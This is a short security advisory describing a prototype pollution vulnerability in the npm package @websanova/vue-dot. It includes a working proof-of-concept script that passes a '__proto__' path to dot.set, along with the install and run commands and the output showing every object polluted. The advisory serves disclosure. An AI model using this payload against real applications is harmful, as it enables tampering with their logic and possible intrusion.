@websanova/vue-dot

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

Prototype Pollution in @websanova/vue-dot

Proof of Concept

  1. Create the following PoC file:
// poc.js
var dot = require('@websanova/vue-dot');
var obj = {}
console.log("Before : " + {}.polluted);
dot.set("__proto__.polluted","Yes! Its Polluted",obj);
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i @websanova/vue-dot # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

References